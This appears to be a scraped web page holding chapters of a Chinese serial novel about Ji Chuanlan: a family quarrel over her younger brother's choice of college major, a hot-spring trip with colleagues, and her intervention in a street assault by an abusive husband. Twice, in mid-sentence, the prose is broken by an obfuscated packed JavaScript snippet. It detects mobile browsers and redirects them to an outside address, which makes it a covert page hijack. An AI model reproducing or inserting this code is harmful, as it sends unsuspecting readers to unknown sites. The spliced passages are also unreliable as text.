“好了,吃完就去睡觉,都已经十一点了,我先去睡了,你听张姐睡得多香都打呼了。” “好的姑姑,我就睡了,你也早点休息。”传人上楼进了房间,房间里电脑还亮着,屏幕上是一把还未设计完成的刀, 虽还未完成,但大体轮廓已经清晰,看得出来,是把用了心设计的好刀。 自上次大姐说过后,传人像打通了任督二脉一般,在网上摸索自学了建模,这几天一直沉迷于此,先后做出了想象已久的青龙偃月刀和三叉剑等小模型,这几天还在琢磨要不要也买个小型的3D打印机来着。 八个人两辆车,刚好可以宽敞地坐下,这样说,能碰到方思域也算是件好事。 舒华虽然想跟传岚坐一起,但还未有所表达,卓雅已经揽着传岚的胳膊宣誓主权,安排好了座次:“你们四个一辆,我跟传岚坐这位帅哥的车。” “好啊卓雅,你倒是分的快,我也想跟传岚坐帅哥的车。”容巧把东西放在传岚的车上,扭头笑着说。 “那你来晚了,我已经占好位置了,下次请早吧您嘞。” “瞧你那嘚瑟样,来舒华,我们俩坐一起,待会吃团子不给他们留。” “嗯,那我们先走了,你们跟上啊。”舒华跟着容巧上了传岚的车。 传岚看着卓雅,“你倒是会安排,我有自己的车干嘛还坐别人的车。”卓雅站好,看着倒车的唐毅,“能坐宽敞点干嘛要挤一起啊,总要有人过来,还不如我们俩过来是不是。” 站旁边的方思域也附和着说:“是啊,卓雅这分的就挺好嘛,这俗话说的好‘男女搭配,干活不累’,这样一分,那边也宽敞,这边也热闹,两边都好,路上说说笑笑一下就到了,也不让我们俩个男的没话无聊一路是不是,你们在这,我还能给你们讲讲笑话。” “怎么你是缺听你讲笑话的人吗?”传岚本来听得无感,甚至有一丝不舒服,待听到讲笑话这才抬眼看向方思域出口问道。 “是啊,唐毅这个人哪都好,就是话有点少,偶尔还不搭理人,你说我搁那说半天,他在那嗯嗯啊啊的谁受得了啊,尤其是开车,话还少,你是不知道过来的时候我是听了一路的歌啊,你们过来多好啊。” 卓雅听完,假借扶眼镜的动作,捂着嘴在那笑个不停:“真的只是嗯嗯啊啊吗,这确实有点无聊。” “这我还骗你不成,你说半天他就回你个嗯啊哦,没有一点反馈的激情,一看都不是个好捧哏的,你待会坐车就知道了。” 说着,唐毅的车已经停到了几人跟前,传岚刚拉开车门准备进去,就被卓雅按住:“我坐里面吧。”说着就已经坐进去了。 坐在副驾的方思域扭头朝后看去,看是卓雅,便说:“你坐外面啊,外面视线好。”说着转头看了眼唐毅,又看向卓雅,卓雅跟着方思域的视线看了一圈:“你说的有道理啊,那我坐外面吧。”,遂起身又出来与传岚换了位置。 “这不都一样嘛,两边都有窗户,干嘛换来换去这么折腾啊。”传岚虽是这么说,但也麻利的换了位置。 “嘿嘿,你这边的景色好些。” 几人系好安全带坐好,唐毅才发动开车。 “我看网上有套餐嗳,家庭套房享优惠,我们要不要团几个家庭房套餐啊,我们八个人的话,刚好你们男生两两一组,我们女生两两一组。一间套房1500,平均下来一个人也就750,套餐里还包了吃的,也不用额外花钱了。” “泡温泉我还是想一个人泡,我看下啊,这有个1800的大套间,空间也蛮大,你跟容巧他俩一起,平均下来一人600,更划算些。” “嗳,两人一组不是很好嘛,滑雪的时候不是也分的两人组。” “反正我是要一个人泡的,你们想怎么分就怎么分,看你们自己商量,不许带我。” “方思域,你们怎么想的啊。”见传岚意见已定,卓雅也不多说,倾身朝前问到。 “我都可以啊,私汤也行公共汤也行,不过我是想宽敞些。” “帅哥你呢。”卓雅见唐毅一句话没说就探头朝他问到。 “我,我比较喜欢安静一点,一个人吧。” 方思域朝着后面的两人扬眉努嘴,一幅“你看吧”的样子。传岚笑着说:“赵鹏飞说他俩要去泡共汤,容巧和舒华比较倾向1800的大套间,就剩你们俩决定了。” “好吧好吧,我就去跟容巧他俩挤一挤吧,你到时候可别羡慕我们这边热闹。” “那我去找赵鹏飞他们凑个热闹,也不打扰唐毅的清净了。” 要去的这个温泉酒店处于近郊,以私人庭院出名,可以自主选择隐私性好的私汤,也可以选择较宽敞的共汤,不想泡温泉,只是住酒店的话,也有纯房出售,选择颇多,加之它周围的配套设施在档次上也属一流,整体性价比算高的。 纪传岚昨天滑雪倒是滑高兴了,可苦了今天的自己,全身酸痛。谁让自己运动完没有认认真真拉伸,只潦草的随便拉伸了几下呢。 纪传岚洗完澡出来定好闹钟,身体放松,舒舒服服地躺在温泉汤里。温热的泉水像有魔法般包裹抚平了传岚周身的酸痛,像清风拂面,又像鱼翔浅底,让人舒服到想要立刻睡去。 “呼哦,活过来了。”舒华躺在温泉里发出感慨。 “滑雪很累人的,我第一次滑第二天也是身上酸痛的不行,连着几天都没怎么动弹,滑完要好好拉伸的。”容巧笑着说。 “我还以为滑雪不累人呢,看网上就是滑雪板在滑,就想着大概跟滑板溜溜鞋是一样的。”舒华说。 “你滑过滑板?”卓雅也加入进来,问到。 “没有嘞。”舒华老实回到。 “那你还敢小看滑板啊,你别光看别人滑的轻松,自己滑一下就知道了,一点也不轻松好吧,这种运动,虽然都是板子在嗖嗖嗖的跑,可人要调动全身肌肉来控制协调的,不是那么简单地。” 舒华说:“好吧,是我想的简单了,卓雅你了解的这么清楚,是不是会滑啊?” 容巧解答到:“他会,他滑板玩的挺好的,以前上大学的时候还是滑板社团的社长呢。” 舒华惊讶:“哇,那蛮厉害啊,滑板社团,你们俩是大学同学吗?” 容巧笑说:“是啊,我们不仅是大学同学,还是舍友呢,后来他去了广中医读研,我留了本校,再后来他家里叫他回来,我们就都留在仁济堂了。” 舒华羡慕地说:“那你们这还挺好,毕业了还能一起工作,我办公室里就我一个年轻女生,没有一个跟我同龄的女生。” “是啊,出了学校才知道工作的时候有几个同龄人一起是多宝贵的事啊,起码想逛街吃饭的时候有个伴,不至于那么孤独。” “可是你们为什么没去医院啊,去医院不比待在医馆里好吗?”舒华疑惑问到。 “一样的,去哪都是打工,去医院还要再规培两三年,压力太大了。没有编制,在哪都一样,况且仁济堂挺好的,工作也不重,工作氛围又轻松,跟着两位老教授和纪老师学习,都是一线的宝贵经验,这是别处找不到的。” “可是,毕竟医院的体量在那,总不用担心失业什么的,医馆虽然也很好,可你们就不怕哪天。” “失业吗?在大医院也没有百分百保证就能永远不失业的。不过你也不用太担心啦,你还不知道吧,仁济堂有六艾药业撑腰,不会轻易倒闭的。” “是那个做保健品,上市的六艾吗,传岚他是六艾纪家的?”舒华着实惊讶到了。 “是的,看不出来吧,传岚跟纪老师都很低调的,光从外表看看不出这么有钱对吧。” 舒华如小鸡啄米般点头,原以为家里开医馆,有钱很正常,没想到的是不仅开医馆还开的医药公司啊。 “不过我们也是赶巧了,仁济堂之前都是传岚家自己人看诊的,我们是招的第一批人呢。” “之前没招过人吗?” “没有,说起来,我还是沾了卓雅的光进来的呢,卓雅妈妈是纪老师的师妹,听说医馆翻新后打算招人就提前帮我们问了纪老师。” “那孙立德和赵鹏飞呢。” “孙立德是孙教授的侄孙,赵鹏飞是李教授的学生,都是内推的。”容巧说完又补充道,“孙立德是同济医学院毕业的,赵鹏飞跟传岚一样都是是北中医毕业的。” 卓雅泡久了,听俩人说话说的昏昏欲睡,摇了摇头,起身冲洗了出门打算透透气。 话说传岚这边也是,温泉水泡的太舒服,加上又是一个人泡,安静没人吵,泡着泡着就想睡觉,好歹撑着困意没浪费专门来一趟,半个小时的闹钟一响,传岚也就立马冲洗了直接躺床上补了个觉,这泡完温泉睡觉简直是无上的享受。 卓雅出来吹了吹冷风,清醒不少,晃去餐厅看了下吃的,餐厅的菜单还挺对自己胃口,呆了会又觉得无聊,准备去看下其他人,顺便招呼过来一起吃午饭。 卓雅走到传岚门前,敲门无人应答,打电话也没人接,心里开始七上八下的乱想一番,“传岚该不会泡晕过去了吧,她一个人也没个人在跟前。” 大声拍门的声音没敲开传岚的回应,倒是引来了旁边的唐毅,唐毅出门问到怎么回事,卓雅也是将自己的担心告知了对方,唐毅听打电话和敲门都没应答,便没任何犹豫的立马进房间打了电话让酒店的人带了房卡上来。 酒店的人敲门无反应后,也不敢拖延,确认了身份信息后,迅速刷开了房间,待众人紧张进去后,发现里间的传岚睡得正香,手机在旁边充电。 卓雅上去大力摇醒传岚,传岚醒后见卓雅和唐毅站在跟前,俩人脸上闪着晦暗难明的表情,满脸疑惑问道:“怎么了,你们怎么在我这,是要吃饭了吗?” 卓雅带了着急的语气有些冲的说:“刚敲半天门,你没听见吗,打电话你也不接,我还以为你泡晕过去了,害我担心老半天,你说你一个人泡,跟前也没个人,万一有个什么意外怎么好。” “我是这么粗心的人嘛,我泡的时候定了闹钟,泡完有些困,看还有时间就先睡会。”说着拿过手机,确实有好几个未接来电。 “不怪你朋友着急,我在隔壁听他敲门声挺大的,你竟然都没听见。”站外层的唐毅表情有些怪的说。 “不好意思啊,让你担心了,我睡的比较沉,确实没听见,其实你也不用太担心,我订了十一点半的闹钟。” “你确定你定的闹钟叫的醒你?”唐毅说。 “说出来你可能不信,其实我的作息不靠闹钟,至于什么时候睡,睡多久,什么时候醒,我有自己的生物钟,还有,我的睡眠很好的。” “好了,知道你醒睡自由,赶紧收拾收拾去吃午饭啦,我们待会还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530088|186364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得赶回去呢。” 传岚自知卓雅是担心自己,便笑着说:“好好好,我马上收拾,你们先出去吧,我换个衣服。” 待众人吃过中饭各回各家时已是下午四点钟了。 传岚回到家的时候见姑姑坐在沙发上发呆,眼睛直愣愣却无焦点地望着电视,电视上播放着搞笑的综艺节目,厨房里是张姐在忙着收拾饭菜,未见传人的影子。 “姑姑,我回来了。”好像发生了什么事,气氛有些不对,明礼对于传岚的问好有气无力回到:“哦,快去洗手准备吃饭。” 传岚借由洗手的空当,朝张姐打听了情况,一番询问,才得知是明礼就传人的志愿意向与传人个人的想法产生了相左的意见,明礼自然希望传人也能报考医学相关的专业,以前大家就这个问题也进行过讨论和涉及,传人从未有过反对或不愿意的想法,但今天提起的时候,传人却突然透露出自己对机械类很感兴趣,希望可以了解下这方面的信息。 明礼自然希望传人能从事医学,这原本都是板上钉钉顺理成章的事情,不知道为什么这会却又改了主意,都不清楚是哪里发生了偏差。 传岚帮忙将饭菜端出来,摆放完碗筷:“张姐,传人呢,怎么不见来吃饭的。” “哦,传人下午就出去了,说是去同学那,要不要我来打电话问问。” “不用,我来吧。”说着就拨通了电话。 “回不回来吃饭啊? “哦,那吃完赶紧回来,不搞太晚了知道没,天都黑了。” “我们吃吧,他说跟同学外面吃了。” 明礼夹了两筷子就撂下说没胃口不吃了,说完就回屋躺着去了,只留下传岚和张姐两人面面相觑。 “传岚啊,你待会吃完饭劝劝明礼啊,传人回来也跟他聊聊,志愿的事确实是一辈子的事,慢慢商量嘛,有意见很正常,你帮忙调和调和,俩个人不能总僵着。” “好嗳,你别担心张姐,传人回来我会找他说说的。” “你别怪张姐话多,从老宅到这里,张姐在你们家做二十几年了,我看得出明礼是真关心你们俩,当初说是明礼没生育过孩子不知道怎么照顾好你,才辞了这的阿姨,让我跟着过来,这么多年,我都看在眼里的,明礼都是把你们俩当自己亲生的看待,没一点私心。 “要说有什么,也就一点,你们呀,缺了点沟通,几个都是话少的人,有时候说话彼此还存着些顾忌,这十分的话也就说个六七分,生怕话说满了说过了伤了情分似得,总留一些。 “殊不知啊,这种相处反而还伤情分,这平日里看着相敬如宾的,这心里总不如那些打打闹闹的家庭亲密些。” 传岚将吞咽的动作完成,才接话道,“我过来跟姑姑一起生活的时候已经十六岁了,确实很难像父母那样相处,而且姑姑就是姑姑,我们之前也相处习惯了,要说彼此敞开心扉,也有些难为人,不过姑姑对我们好我是知道的,以前就是很好的,不然我也不会过来和姑姑一起生活。” “至于传人,他之前一直跟大伯一起生活,性格又被教的很善良,平时也很听话,我想他应该是真的对机械感兴趣才开口说的吧,我反倒觉得他能说出自己感兴趣的东西,表达自己的喜好是件好事,太善良听话也不一定就是好的,出了社会,这种性格反而很吃亏呢,你说是不是啊张姐。” “这倒是,没脾气的人总是吃亏的。”张姐附和完停下了手里夹菜的动作,放下筷子,欲言又止。 “你放心张姐,我会去找他们聊聊的,报志愿还远呢,慢慢沟通,有的是时间。” 听见这话的张姐舒展开了微微皱着的眉毛,一叠声的应着“嗳”吃完了饭。 传人回来的时候已是晚上八点多了。传岚听见声响,开门倚靠在门沿上,朝传人使了个眼神叫进来问话,传人耷拉着脑袋跟着进了屋。 “听说你跟姑姑闹矛盾了,怎么回事啊。” “没闹矛盾啊,就是关于志愿的问题讨论了下,我说想报机械相关的,姑姑想要我报医学相关的,一时没说拢,说话急了点,姑姑就不说话了,我见姑姑不说话,我呆着有点心慌就出去找同学了。” “怎么突然对机械感兴趣了,以前说学医也没见你反对啊。” “那以前没有感兴趣的,也不知道说什么,大家都叫我学医,我也就顺水推舟应着了,前段时间接触了建模,在网上搜索课程自学了一些,感觉从无到有的过程很有趣,而且我看那些写好编程自己动手做模型的事情也很有意思,我对这块还蛮感兴趣的。” “哦,难得你还有个感兴趣的,我还以为你会永远做个听话的好宝宝呢,既然感兴趣就跟姑姑好好说嘛,怎么闹得两个人这么别扭。” “我有好好说,只是姑姑说学医好,家里学医的多,产业都是跟医学相关的,不管是以后的学习还是毕业了工作都能有个指导,学机械的话,家里没有相关从事的关系跟经验,出来工作没人指导,他不同意,我多说了些他就不说话了,说让我再想想。” “姑姑说的也有道理,他也是关心你才这么说的,学机械出来要自己找工作,还幸苦些。” “那学医也很辛苦,以后当医生也辛苦,又不是家里有当医生的我就不用辛苦了,都一样的,我做自己喜欢做的事,再辛苦都值得。” “你不懂,学医不一定要当医生,你不想当医生,家里有条件,可以让你走行政管理这条路。出了这个门,就没有能托举你的资源了。” “我靠我自己,用不着什么托举,又不是人人都没本事,要家里来铺路。” 传岚哭笑不得:“你有这个志气是好的,只是没必要看不起别人,有条件托举本来也是别人的一种本事,更何况,谁没受过托举,大到人际关系,小到补习班,少有人是完全依靠自己就能达到目标的,就说普通人,没有两家父母的托举,怎么可能在这买的了房。” “那我也不想跟在他们后边走,以前是没有想做的,现在既然有,我就没法再人云亦云说学医了。” 传岚走过去躺在沙发上,停顿了好一会:“填报志愿的事还早,还有些时间,你再想想吧,也不要意气用事轻易下结论,我也刚毕业,没有什么本事托举你,没有人会为你尽心尽力思虑以后,趁着大伯还主事,你又在他跟前呆了那么久时间,只要你愿意张口,他会给你提供助力的。” “大姐,你不信我吗,我班级前五,年纪前二十,成绩很好的,就算没有资源,我也可以靠我自己的真才实学打拼出一条路出来的。” “成绩,成绩当然重要,但成绩对于我们这种家庭只是锦上添花的事,你到现在还不明白吗传人,我问你,去年你们学校考到清华的程泽禄是靠的分数吗,还有常来家里的那个王伯,他闺女也是靠的分数进的清华吗。” 别人不清楚,传人他知道,程泽禄是大他一届的学长,因为竞赛认识的,当时考试还是前后桌,最后一次联系是得知他体育特长特招进去后的恭喜,王伯家的闺女,走的是体操的路子。 传人无言以对,半响,嗫嚅着说:“别人是别人,我是我,我有能力靠分数,用不着这些。” “用不用得着另说,只是,有人为你规划过这样的路吗,有人在你跟前提过这样的渠道信息吗,有人给你提供除了高考考试外的第二条路吗,有人为你殚精竭虑谋划吗,传人,你看清楚,我们实际上只剩自己了,你现在大了,不会感觉不到。 “当然,就算你什么也不做,靠着留下来的信托基金和股权分红,你也能衣食无忧下去,甚至还能过得有滋有味,只是一点,你要想清楚,只依靠这些是难以维持你现有阶层的。” “可是就算我学医,也不一定比学机械好啊,以我的性格,真的适合走管理这条路吗?” 传岚听传人说完怔了一下,缓缓开口:“有什么不适合的,你在那个位子自然会慢慢适应,环境会修正你的性格的。” 传人不再言语,他明白了大姐也是站在姑姑那边的,即便自己说再多,也改变不了他们的想法。 “大姐,你觉得我是学机械好还是学医好,我听你的。” “听我的,就去学医吧,这是资源最大化的选择,其他的你沾不上边。喜欢机械类,就当业余爱好好了。” “好。”传人半响应道,“大姐是因为喜欢学医还是为了资源最大化?” “是喜欢哦。” “骗人吧,喜欢的话为什么没有继续读研而是跑去念了心理学。” “我做什么自有我的道理跟打算,你不相信就算了嘞。”传岚见传人又进入了沉默的状态,“行了,没其他什么事早点去洗漱休息吧,明天跟姑姑好好说说,别让他操心。” 传人回了自己屋躺下,脑子里全是刚才和传岚的对话,虽都是些实打实的好话,但细想起来就觉得没意思了,全是些斤斤计较的话,好似人生后几十载光阴,还未去尝试拼搏就被安排好了,不用揭开纱就知道什么面貌一般,没有一点新鲜,像月庭哥进公司,月容姐进高校一样,每个人都是选的最优解。 跟传人一样满怀心事的传岚却是想得更多更深些,由着刚才的对话,传岚想起了自己的父母,不禁悲从心来,再没有人能掏心掏肺全心全意毫无保留的为他们姐弟俩思虑了,即便自己性子强硬些,有自己的想法,但各方面的经验到底是欠缺不足的,这是客观难以短时就能弥补的短板。 自己确实无法为传人提供助力,亲戚之间也是凭着良心来往,看在明德夫妻俩为家里也出过不少力的情面上多加照看,只是时间再往后就不行了,再往后,就没有那么的精力分摊出来给侄子了。 传岚望着传人房间的方向,只希望他能明白自己的良苦用心,留给他们姐弟俩的情分和资源已经不多了。 有时候,想过什么样的生活,能过什么样的生活,不是自己想就可以的,抓住一切能抓住的机会,利用一切能利用的资源,最大程度的创造好的生活,这才是应该做的。 10. 慧眼难识,人心隔肚皮 过完年也好长一段时间了,一切都有条不紊的进行着,在新的一年里各自都精神满满朝着好的方向发展,除了车祸事件没有一点进展外。 传岚知道不能心急,只是确定了父亲的车祸并非意外,但时间过于久远,实在是缺乏线索,与车祸相关的唯一知情人司机,也早已湮灭在人海里,前几天耗费精力与关系找到了司机地址,满心希望找过去,看到的只有破败空无的房子矗立在那,而那修复成功保留下来的手机号也换了好几个人,难以追寻八年前的手机号主人。 在医馆呆着,真是有一种守株待兔的无奈与荒谬感,传岚不禁怀疑自己答应二叔这个决定是否太过草率了,可是没有线索,只知道对方是甲方这一个信息,也只能待在医馆这个大树下,等待兔子了。 传岚撑着脑袋陷入了沉思。 “传岚,你尝尝我新做的点心。”舒华和仁济堂的各位相熟后就经常过来,隔三差五,有时候还会专门找传人一起回来。 传岚由声吸引过去,看见餐盒里摆放精致的酥点,刚才的烦恼一下烟消云散:“喔,好漂亮啊,上次带过来的土豆红豆饼也是,舒华,你真的手艺好好啊。”传岚右手拈起一个桃花酥,左手手掌托着喂进嘴里,“好吃!这比我在知味家吃的都好吃,你这个手艺真的,可以媲美五星级酒店了,说实话你都可以开账号做美食博主了。” 舒华被夸的有些害羞,笑着将餐盒往传岚那边移了移,“哪有那么厉害,我也就只会做几个点心,还都是照着网上视频现学的,你们喜欢吃就好了,以后有新的了,我做了再给你带过来。” “这有什么好谦虚的,会做点心不是很厉害吗,你看我就不会,容巧也不会,一样的视频教学,有的人看一眼就能完美复刻,有的人就是照抄也差意思,我以前闲来无事也做过,但是不管做几次,做出来的味道就是很一般,我也不知道为什么,可能是没有做饭的天赋。”传岚说着,嘴里又送进去了一个,眼见说话的功夫,六个桃花酥转眼只剩下三个了。 容巧寻声进来,看见两人,笑骂:“好你个舒华,我们外面四个人分八个糕点差点打起来,你倒心疼他,一个人吃六个,也不怕撑着他。” 传岚笑着递过去一块:“你那边忙完了?怎么有空到我这摸鱼。” 容巧接过送进嘴里:“没,现在是郭奶奶就诊,这会正扯着孙教授胡天海地的扯闲篇呢,我听得头疼,借着上厕所偷溜出来了。” 传岚问道:“怎么郭奶奶又来了,是哪里不舒服了。” 容巧倒杯水:“嗐,没什么大毛病,还是老人惯常得的那些毛病,说是前些天孙子带去外面吃,郭奶奶嘴馋吃多积食了,这会肠胃不合适,过来瞧瞧。” 舒华好奇问到:“是找卓雅当孙媳妇的那位郭奶奶吗?” 容巧扭头笑回:“正是他。” 传岚将最后一块桃花酥吃掉:“这郭奶奶也是,都叮嘱多少回了,他肠胃不好要少吃,这么大年纪了还贪嘴,真是老小老小,跟个小孩一样,孙教授给他开了什么药啊。” 容巧说:“我估摸着无非就是些温养助消化的药,还能开什么。这上了年纪的人没事吃太多药也不好,况且本来也没什么大问题,家里有健胃消食片吃两三片就好了,但这有的老人想得多,医保里有钱,就爱往医馆药店里跑,开点温养的他心里踏实比什么都管用。” 传岚笑着说:“你瞧瞧,他倒挺懂的,也不知道是不是真那么回事,说的头头是道的。” 容巧嘁了一声,正欲反驳,舒华笑说:“应该是真的,有好多老人都这样,我奶奶也是这样的,回老家看他,他就闹着要我爸爸领他去医院检查,说浑身不舒服,你要问他具体哪里不舒服,他又说不上来,去医院也检查好几回了,医生也说没什么大问题,就是年纪大了,有些惯有的关节炎风湿之类的,这类病也好些年了,每次去都买新的药,买来堆在家里,光家里就好些药,都能开药铺了,但我奶奶去一次医院就能消停好久,听医生亲口说没问题就精神很好,大概也是年纪大了,心里害怕,不由得多想了些。” 容巧说:“你看吧,老人都这样,就算有些老人不乱想他也喜欢跑药店的,总归医保里有钱,想着花完才不浪费。” 传岚笑说,“是是是,你说的对,是我不清楚,你快过去吧,待会孙教授找不着人,要问你了。” 容巧口中虽说着:“那边还有赵鹏飞呢。”屁股已经离了椅子,“不过我是要过去了。” 传岚名义上说是在仁济堂跟着实习,但到底是从小就跟着家里接触中医了,不管是案例还是方子来说,比卓雅他们都熟识些也无可厚非,这有余力就挑挑拣拣的跟着学习,没事一个人呆旁边屋里看书。 眼下时间还早,传岚也坐蛮久了,打量着舒华有时间,问他:“出去走走吗,坐的我腰酸背痛的。” 舒华说着:“好啊。”顺手收了餐盒,准备出去的时候带上。 传岚见状,忙说:“不着急,我们溜达一圈回来再拿一样的,对了,你等我会,我去拿点东西。” 不一会儿,只见传岚手里拎着一袋东西过来了:“来,把这个放篮子里,免得待会忘记了。” 舒华看着包好的纸包,有些疑惑问到:“这是什么呀。” 传岚说:“一点党参跟黄芪,可以拿来煲汤喝,我看你还有点气虚。” 舒华推辞道:“这哪行,上次你给的老蜂蜜还好多呢,我们一家人一起吃都还没吃完呢,怎么好意思又拿。” 传岚塞到篮子里:“客气什么,又不值几个钱,咱家的药都是自己找人种的,保真才给你拿的。” 舒华又说:“那就当我买了,多少钱,我付。” 传岚笑骂:“你快把手机收起来,要是看不起我就直说,出了这个门你该是患者是患者,我该是医生是医生,也不必拿吃的来找我。” 舒华意识到自己说错了话,好在看传岚并未生气,连忙补充说道:“那我收下了,下次给你再做好吃的。” 传岚拿过篮子放下,拉着舒华出了门:“早这样不就好了,你既有心记得我,给我带吃的,我反馈你一点药又算得了什么,我们家别的不多,还缺点药吗。”传岚说完,停顿了一下又笑着补充道,“当然了,我手边也没别的好送,你要是嫌弃送药,或者有这个忌讳的话趁早告诉我,我下次再想其它东西送你。” “这倒没有,我知道你是好意,而且我们家也经常买中药来煲汤,没有那些忌讳,你送的我也放心,上次那个蜂蜜我爸还让我谢你呢,说在城里少见这种正宗的老蜂蜜,家里都蛮喜欢的,还说有机会请你去家里吃个饭呢。” “喜欢就好,我也觉得拿来煲汤好,我想了下,要是真有那个忌讳,你下次就给我微信转一分钱,意思意思,这样就不算送的了。” 舒华听闻忍不住小声笑了起来:“好啊,这办法也很好。” 俩人沿路走出商业街,商量着要不就沿着路溜达溜达一圈,到时间了就直接去吃饭好了。正说说笑笑走着,见前面一阵骚动,两人受好奇心驱使走过去看是什么事。 俩人起先并不靠近,站在一间店铺旁边观望,店铺老板主动说道:“这男的真不是人啊,你看自己老婆打好狠,旁边人劝都劝不住,你们是没看见,刚那男的一脚踹在女的肚子上直接踹到在地,那女的都趴下了,男的还连踢好几脚。” 舒华问道:“这到底是因为什么啊,怎么还打人啊。” 老板回说:“不为什么,好像就是这男的喝大酒,让女的去买酒,女的劝了句‘少喝点’就挨上了。”舒华难以置信问到,“就这?”老板又说,“就这。” 正说着,那男的拽着女的头发就往起拉,边拉还边咒骂到:“你他娘的起来,装什么啊,就轻轻碰了下装什么可怜样呢,是不是以为在外面装装可怜样就能有男人上来给你当英雄啊,我呸,下贱的狗东西,还不起来,是不是想让我没脸当坏人啊,再不起来,回去有你好看的。” 旁边的舒华不忍再看,扯了扯传岚的衣服:“要不要报警啊传岚,你看那女生捂着肚子好像很难受的样子。”正说着,传岚一个箭步跨了出去,原来是那男的举起手,想要再次动手。 那男的没预料到有人插手,扭头一看还是个女的,怔了一下后气焰一下高涨:“你他娘的又是哪冒出来,敢管老子的事,放手。”说着就扭动身体,想要抽出手,见对方死死握住,轻易抽离不出,恼羞成怒,拳脚都动了起来,传岚见状后撤一步,将男人用劲一拉,一个背摔在地,紧紧抵住,钳住男人双手,朝着舒华喊道:“报警。” 发生的事就在电光火石之间,舒华反应过来马上报了警,随后过去又扶起了蜷缩在地的女生,远离了眼前的暴怒男。 两人跟着去警局处理完这起事出来,均有些沉默,一会,舒华起了头:“要是家暴有人管,离婚能简单点就好了。”传岚应道:“谁说不是呢,这么严重,也就口头警告了下,说家庭纠纷不好管,真是魔幻。没有结婚,被人扇一巴掌都能有个说法,而结了婚,明明白白的故意伤人,却还能被美化成家暴,好像女的结了婚就成了别人的附属物,没有人权一样,真是令人心寒。” 舒华又沉默了一会,接着说:“是啊,我前段时间还刷到小谢的事了,不知道你看没,就是一个叫小谢的女生被打进ICU,多处器官受损,还要终身戴着粪袋生活,这样严重,男的才判了十一年,而这十一年还是从重的判决结果,有时候真是想说点什么,又不知道该说什么。” 传岚说:“说什么,还是别说了,□□犯都能制定法律,有什么好说的,走吧。” 俩人心事重重的出了派出所大门,未走多远,女生追了上来,“今天真是谢谢你们了。”说着就朝传岚与舒华鞠了个躬,俩人手忙脚乱的摆手拒绝,传岚带着歉意说道:“别这样,也不知道我们俩插手对不对,会不会让你回去更难过。” 女生擦青的脸上露出笑意,“没事的,你们做得很好,我也很感激你们,而且我已经决定要离婚了,就不回去了,只不过现在范跃一直拖着不想离,范跃就是那男的,我叫黄守英。” 传岚与舒华也报了姓名,俩人听罢也恢复了心情,替黄守英提离婚感到高兴,一方面又为着那男的不愿离婚而离不了感到无力。 传岚听着,忽然想起读法的方思域,便对黄守英说:“这样,你先记下我的联系方式,要是离婚的过程中有遇到法律问题,可以联系我,我有朋友学的法律,可以免费给你提供咨询。”黄守英记下号码,连声说着感谢的话。 三人正说着,从派出所出来的范跃骂骂咧咧的朝着这边走来,对上纪传岚沉的要滴出水的脸,想起那重重的一摔及如铁钳一般有力的双手,欺软怕硬般朝着另一边啐了一口痰,剜了黄守英一眼走远了。 舒华见范跃走远,拉着说:“你怎么会看上那种人啊,看着就一副小肚鸡肠贼眉鼠眼的样,不像个好的。” “走吧,找个地方坐着说,站这有点凉。”传岚出声建议到。 黄守英满脸悔恨,叹了口气,“我要是知道他婚后是这样子,打死我也不会找他的,谈恋爱的时候人模人样的,嘘寒问暖,早晚问候,恨不得一天能展示他十样好,结了婚才知道,这百般好都是装的,只有这缺点是实打实的,也怪我没看清,谈恋爱的时候觉得这是个小问题,以后改了就好了,谁知是我太高看自己了。” 传岚冷哼一声:“这倒不假,你也算有自知之明。”舒华不好意思的拉了拉传岚的衣服,传岚并不停住话题,接着说,“这恋爱中的女人是拎不清,自以为是到那男的身上十几年的臭毛病能为自己改了,真是好大的魅力。本来还能从那些不小心暴露出来的本性中窥出一二,及时止损,就因为狗屁爱情,那不爱干净不尊重别人甚至飙脏话都美化成了小毛病,抽烟喝酒的还成了有个性真性情,真是搞笑。” “女人惯会美化男人,更何况那些一陷入恋爱就忽视一切的女人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530089|186364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒华连忙加入话题,安慰道:“我看他也没多高多壮,你还是太瘦了,以后要多吃些,再遇到这种都能打回去了,反正不是说家庭纠纷不好管嘛,他打你,你也打他,我看网上有个姐姐也是被老公打,后来受不了去报班学了拳击,把他老公打住院,他老公再没敢动手了。” 黄守英闻此,低着的头抬起笑说:“我也看过那个,那位姐妹是真的很棒,我以后争取多吃多练,离婚的事搞完我就先去健身房练下力量,再去报班学拳击。” 边上走的传岚不置可否,未发表什么意见,三人就近选了一家饭店准备解决午饭。黄守英的屁股还未坐热,兜里的手机就响了起来,接完手机的黄守英进来打了招呼就急匆匆地走了。 俩人甚至都没来得及问是什么事,望着黄守英远去的背影面面相觑,一脸不解。 舒华脑袋探过来,“他啥事啊,这么急,我还心想遇见就是缘分,顺道吃个饭呢。”传岚说,“不知道,先吃饭吧。” 黄守英坐在车上一边催司机开快点,一边心急如焚的祈祷,这天杀的范跃居然拿孩子撒气,想起刚才妈妈打来的电话:“守英啊,刚李老师打来电话说子琴爸爸大中午的就把孩子接走了,琴琴不愿意,还拽的孩子哭,你快去看看怎么回事啊。”黄守英的心里一跳一跳的。 黄守英冲进家里,四处唤女儿,家里几个房间都不在,怒从心起,也没了害怕,冲着范跃喊道:“范跃你个王八蛋,你把琴琴带哪去了。” 